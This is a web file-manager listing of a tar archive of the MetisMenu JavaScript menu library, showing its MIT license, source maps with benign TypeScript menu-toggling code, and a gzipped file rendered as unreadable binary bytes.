File manager - Edit - /home/opticamezl/www/newok/metismenujs.tar
Back
LICENSE 0000644 00000002063 15173576720 0005567 0 ustar 00 MIT License Copyright (c) 2018 Osman Nuri Okumuş Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. js/metismenujs.js.map 0000644 00000037767 15173576720 0010676 0 ustar 00 {"version":3,"file":"metismenujs.js","sources":["../src/constant.ts","../src/metismenujs.ts"],"sourcesContent":["import { IMMOptions } from './interface.js';\n\nexport type MetisMenuEvents =\n | 'show.metisMenu'\n | 'shown.metisMenu'\n | 'hide.metisMenu'\n | 'hidden.metisMenu';\n\nexport const Default: IMMOptions = {\n parentTrigger: 'li',\n subMenu: 'ul',\n toggle: true,\n triggerElement: 'a',\n};\n\nexport const ClassName = {\n ACTIVE: 'mm-active',\n COLLAPSE: 'mm-collapse',\n COLLAPSED: 'mm-collapsed',\n COLLAPSING: 'mm-collapsing',\n METIS: 'metismenu',\n SHOW: 'mm-show',\n};\n","/* eslint-disable max-len */\nimport { ClassName, Default, MetisMenuEvents } from \"./constant.js\";\nimport { IMMOptions } from \"./interface.js\";\nimport {\n CustomEventListener,\n EventType,\n SpecificEventListener,\n} from \"./types.js\";\n\nclass MetisMenu {\n protected config: IMMOptions;\n\n protected element: Element;\n\n protected isTransitioning!: boolean;\n\n protected disposed: boolean;\n\n protected triggerArr: Array<Element>;\n\n boundEventHandler: (evt?: Event) => void;\n\n /**\n * Creates an instance of MetisMenu.\n *\n * @constructor\n * @param {Element | string} element\n * @param {IMMOptions} [options]\n * @memberof MetisMenu\n */\n\n constructor(element: Element | string, options?: IMMOptions) {\n this.element = MetisMenu.isElement(element) ? element : document.querySelector<HTMLElement>(element)!;\n this.config = { ...Default, ...options };\n this.disposed = false;\n this.triggerArr = [];\n this.boundEventHandler = this.clickEvent.bind(this);\n this.init();\n }\n\n static attach(el: Element, opt?: IMMOptions) {\n return new MetisMenu(el, opt);\n }\n\n /**\n * @internal\n */\n private init(): void {\n const { METIS, ACTIVE, COLLAPSE } = ClassName;\n this.element.classList.add(METIS);\n\n const uls = [...this.element.querySelectorAll<HTMLElement>(this.config.subMenu!)];\n\n if (uls.length === 0) {\n return;\n }\n\n uls.forEach((ul: Element) => {\n ul.classList.add(COLLAPSE!);\n const li = ul.closest(this.config.parentTrigger!);\n\n if (li?.classList.contains(ACTIVE!)) {\n this.show(ul as HTMLElement);\n } else {\n this.hide(ul);\n }\n\n const a = li?.querySelector<HTMLElement>(this.config.triggerElement!);\n if (a?.getAttribute(\"aria-disabled\") === \"true\") {\n return;\n }\n\n a?.setAttribute(\"aria-expanded\", \"false\");\n\n a?.addEventListener(\"click\", this.boundEventHandler);\n this.triggerArr.push(a!);\n });\n }\n /**\n * @internal\n */\n\n private clickEvent(evt?: Event) {\n if (!this.disposed) {\n const target = evt?.currentTarget as Element | null;\n if (target && target.tagName === \"A\") {\n evt!.preventDefault();\n }\n\n const li = target!.closest(this.config.parentTrigger!);\n const ul = li?.querySelector(this.config.subMenu!);\n this.toggle(ul!);\n }\n }\n\n update() {\n this.disposed = false;\n this.init();\n }\n\n dispose() {\n this.triggerArr.forEach((arr) => {\n arr.removeEventListener(\"click\", this.boundEventHandler);\n });\n this.disposed = true;\n }\n\n on<K extends EventType>(\n evtType: K,\n handler: SpecificEventListener<K>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n on<E extends Event>(\n evtType: E,\n handler: CustomEventListener<E>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n on(\n evtType: MetisMenuEvents,\n handler: EventListener,\n options?: AddEventListenerOptions | boolean,\n ) {\n this.element.addEventListener(evtType, handler, options);\n return this;\n }\n\n off<K extends EventType>(\n evtType: K,\n handler: SpecificEventListener<K>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n off<E extends Event>(\n evtType: E,\n handler: CustomEventListener<E>,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu;\n\n off(\n evtType: MetisMenuEvents,\n handler: EventListener,\n options?: AddEventListenerOptions | boolean,\n ): MetisMenu {\n this.element.removeEventListener(evtType, handler, options);\n return this;\n }\n\n /**\n * @internal\n */\n emit<T extends object>(\n evtType: string,\n evtData: T,\n shouldBubble = false,\n ): void {\n const evt = new CustomEvent<T>(evtType, {\n bubbles: shouldBubble,\n detail: evtData,\n });\n this.element.dispatchEvent(evt);\n }\n\n /**\n * @internal\n */\n toggle(ul: Element) {\n const li = ul.closest(this.config.parentTrigger!);\n if (li?.classList.contains(ClassName.ACTIVE)) {\n this.hide(ul);\n } else {\n this.show(ul);\n }\n }\n\n /**\n * @internal\n */\n show(el: Element) {\n const ul = el as HTMLElement;\n const { ACTIVE, COLLAPSE, COLLAPSED, COLLAPSING, SHOW } = ClassName;\n\n if (this.isTransitioning || ul.classList.contains(COLLAPSING!)) {\n return;\n }\n const complete = () => {\n ul.classList.remove(COLLAPSING!);\n ul.style.height = \"\";\n ul.removeEventListener(\"transitionend\", complete);\n this.setTransitioning(false);\n this.emit(\"shown.metisMenu\", {\n shownElement: ul,\n });\n };\n\n const li = ul.closest(this.config.parentTrigger!);\n li?.classList.add(ACTIVE!);\n\n const a = li?.querySelector<HTMLElement>(this.config.triggerElement!);\n a?.setAttribute(\"aria-expanded\", \"true\");\n a?.classList.remove(COLLAPSED!);\n\n ul.style.height = \"0px\";\n ul.classList.remove(COLLAPSE!);\n ul.classList.remove(SHOW!);\n ul.classList.add(COLLAPSING!);\n const eleParentSiblins = [].slice.call(li?.parentNode?.children).filter((\n c,\n ) => c !== li);\n if (this.config.toggle && eleParentSiblins.length > 0) {\n eleParentSiblins.forEach((sibli: Element) => {\n const sibUl = sibli.querySelector<HTMLElement>(this.config.subMenu!);\n if (sibUl) {\n this.hide(sibUl);\n }\n });\n }\n\n this.setTransitioning(true);\n\n ul.classList.add(COLLAPSE!);\n ul.classList.add(SHOW!);\n ul.style.height = `${ul.scrollHeight}px`;\n this.emit(\"show.metisMenu\", {\n showElement: ul,\n });\n ul.addEventListener(\"transitionend\", complete);\n }\n\n /**\n * @internal\n */\n hide(el: Element) {\n const { ACTIVE, COLLAPSE, COLLAPSED, COLLAPSING, SHOW } = ClassName;\n const ul = el as HTMLElement;\n if (this.isTransitioning || !ul.classList.contains(SHOW!)) {\n return;\n }\n this.emit(\"hide.metisMenu\", {\n hideElement: ul,\n });\n\n const li = ul.closest(this.config.parentTrigger!);\n li?.classList.remove(ACTIVE!);\n\n const complete = () => {\n ul.classList.remove(COLLAPSING!);\n ul.classList.add(COLLAPSE!);\n ul.style.height = \"\";\n ul.removeEventListener(\"transitionend\", complete);\n this.setTransitioning(false);\n this.emit(\"hidden.metisMenu\", {\n hiddenElement: ul,\n });\n };\n\n ul.style.height = `${ul.getBoundingClientRect().height}px`;\n ul.style.height = `${ul.offsetHeight}px`;\n\n ul.classList.add(COLLAPSING!);\n ul.classList.remove(COLLAPSE!);\n ul.classList.remove(SHOW!);\n this.setTransitioning(true);\n\n ul.addEventListener(\"transitionend\", complete);\n\n ul.style.height = \"0px\";\n\n const a = li?.querySelector(this.config.triggerElement!);\n a?.setAttribute(\"aria-expanded\", \"false\");\n a?.classList.add(COLLAPSED!);\n }\n\n /**\n * @internal\n */\n private setTransitioning(isTransitioning: boolean) {\n this.isTransitioning = isTransitioning;\n }\n\n /**\n * @internal\n */\n static isElement(element: unknown): element is Element {\n return Boolean((element as Element).classList);\n }\n}\n\nexport default MetisMenu;\n"],"names":[],"mappings":"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"} js/metismenujs.min.js.gz 0000644 00000002751 15173576720 0011304 0 ustar 00 � �W�o�6~�_!s�!*�{��fY��fX��(0Z<K�(�#Oi[�� �r���`O����w��G��xvt�T��W`�|�"�ɾc�G��u+�S/����x�Ґ���Fׅ2�G�e�N��x����qR"n���PX�+�����w]�d�BVpt�������W�$ok���� ��7����ҭ�WI����8��Hp����J�`<��ֵ�QY�btK��/ȑp��7`� |�X�~>'���V$���������`Q�CJ�w��)X����D%��k t�"?��v%�]�����w;zMپm�&�R�,�'D����xt*G�̭� �n��wN�ъd�^u�$�&ڢа��ft.5T`pAi2���7�.��^��=�������� �(�Fr�_x���2ɮ/���.�$�}}�G��K��4�\���2ru�֥�)�m� �{�|�y ���u����}� ��f�]n�Z�� ޫ¤�m�!�T4��o��g/� ���9��C�lm��=|-���x��U�w'f+ed�U�)m< Ty"E^l:�ڙ���w�&�:lC�0���=Q ��6����Ȅ�)���3�F��Z�k�j�"l���s�4��ܰ�u���S䯶��>�v�z�8�;B(]��֚s8��J&��˭A��O=�g��$)�E�Q* �&��Xnb~�$�j 3��vL�İ�ѩU���x!�+ �P:����a~��6��v,�Zh�f!��t��KI�����Xd�ڗ�����y ^�t���l別b���Y^��)��K���9�CQ����6Z�?�Z�Ӿ��ڜ��A�W��C/�:PV�h��)�H����ڠZ��렲��4tB�M8`2��єMzt;7�]��f{h�Cs�����xK#�G[E8d�U�Zi��I@��:�6#�yLmb��5уN�h`������Ny��{���ì?�� �qd�'�'L�ҤZ�}+��=I�)v;uh���ВY��WۡnhO��y������9!�:/�G#I&"�<�hO��e\�ZL�RV�w�m;Iz��6Y��S��S�v�#�6�L�8�e���TL�n'��;��ٰӟ�N{����v���!i>��Y�>˂����V9�\ha�S?�>T�@w� �c��JK�����c�q^�8e}����ϋx��:m�G��p|>�![j��<��O��R�(�T��o����Y�_w�f����М s �L8�&c�D��������0��9�_��;4�v?惜�͌rj}N��!�s���w�|�PO���B�MnY��0��_�TR�y\ fP�f�&`q����T��� �9�4�t�9df�k�z�4��ꨃR��9pO�-��^��"��gdǿϹ/$�f��[�#�s�:~�p��Z ¤��<m���J�G''�$��.�k��(S����۳J�>��_ � ` js/metismenujs.min.js.map 0000644 00000030711 15173576720 0011436 0 ustar 00 {"version":3,"names":["Default","parentTrigger","subMenu","toggle","triggerElement","ClassName","ACTIVE","COLLAPSE","COLLAPSED","COLLAPSING","METIS","SHOW","MetisMenu","constructor","element","options","this","isElement","document","querySelector","config","Object","assign","disposed","triggerArr","boundEventHandler","clickEvent","bind","init","static","el","opt","classList","add","uls","querySelectorAll","length","forEach","ul","li","closest","contains","show","hide","a","getAttribute","setAttribute","addEventListener","push","evt","target","currentTarget","tagName","preventDefault","update","dispose","arr","removeEventListener","on","evtType","handler","off","emit","evtData","shouldBubble","CustomEvent","bubbles","detail","dispatchEvent","isTransitioning","complete","remove","style","height","setTransitioning","shownElement","eleParentSiblins","slice","call","_a","parentNode","children","filter","c","sibli","sibUl","scrollHeight","showElement","hideElement","hiddenElement","getBoundingClientRect","offsetHeight","Boolean"],"sources":["../src/constant.ts","../src/metismenujs.ts"],"sourcesContent":["import { IMMOptions } from './interface.js';\n\nexport type MetisMenuEvents =\n | 'show.metisMenu'\n | 'shown.metisMenu'\n | 'hide.metisMenu'\n | 'hidden.metisMenu';\n\nexport const Default: IMMOptions = {\n parentTrigger: 'li',\n subMenu: 'ul',\n toggle: true,\n triggerElement: 'a',\n};\n\nexport const ClassName = {\n ACTIVE: 'mm-active',\n COLLAPSE: 'mm-collapse',\n COLLAPSED: 'mm-collapsed',\n COLLAPSING: 'mm-collapsing',\n METIS: 'metismenu',\n SHOW: 'mm-show',\n};\n","/* eslint-disable max-len */\nimport { ClassName, Default, MetisMenuEvents } from \"./constant.js\";\nimport { IMMOptions } from \"./interface.js\";\nimport {\n CustomEventListener,\n EventType,\n SpecificEventListener,\n} from \"./types.js\";\n\nclass MetisMenu {\n protected config: IMMOptions;\n\n protected element: Element;\n\n protected isTransitioning!: boolean;\n\n protected disposed: boolean;\n\n protected triggerArr: Array<Element>;\n\n boundEventHandler: (evt?: Event) => void;\n\n /**\n * Creates an instance of MetisMenu.\n *\n * @constructor\n * @param {Element | string} element\n * @param {IMMOptions} [options]\n * @memberof MetisMenu\n */\n\n constructor(element: Element | string, options?: IMMOptions) {\n this.element = MetisMenu.isElement(element) ? element : document.querySelector<HTMLElement>(element)!;\n this.config = { ...Default, ...options };\n this.disposed = false;\n this.triggerArr = [];\n this.boundEventHandler = this.clickEvent.bind(this);\n this.init();\n }\n\n static attach(el: Element, opt?: IMMOptions) {\n return new MetisMenu(el, opt);\n }\n\n /**\n * @internal\n */\n private init(): void {\n const { METIS, ACTIVE, COLLAPSE } = ClassName;\n this.element.classList.add(METIS);\n\n const uls = [...this.element.querySelectorAll<HTMLElement>(this.config.subMenu!)];\n\n if (uls.length === 0) {\n return;\n }\n\n uls.forEach((ul: Element) => {\n ul.classList.add(COLLAPSE!);\n const li = ul.closest(this.config.parentTrigger!);\n\n if (li?.classList.contains(ACTIVE!)) 